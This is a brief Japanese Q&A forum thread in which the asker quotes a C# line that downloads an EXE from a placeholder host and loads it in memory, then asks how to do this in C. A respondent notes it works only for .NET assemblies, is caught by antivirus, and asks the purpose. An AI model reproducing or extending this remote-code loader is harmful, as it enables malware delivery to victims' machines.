c#は
cs
1var a = Assembly.Load(wc.DownloadData("http://ip/a.exe"));
でロードできますがc言語だとどうすればよいのでしょうか
> var a = Assembly.Load(wc.DownloadData("http://ip/a.exe"));
> でロードできます
これって、動くことを試されました?
自分が C# 環境で試した所「BadImageFormatException: IL の形式が不適切です」となり、実行できませんでした。
記事確認しました。
これはEXEファイルが.NETで作られた場合の例ですね。
例えばC/C++で作られたネイティブのEXE等が実行できるという訳ではなさそうです。
しかも、.NETで作られた場合でもアンチウイルスソフトが検知してくれるようなので、多少安心しました。
そもそも、インターネットにあるEXEファイルをホイホイ実行できていたら、セキュリティも何もあったものではありません。
何故そうしたいのか?目的や理由を質問に書かれた方が回答が集まるかと思います。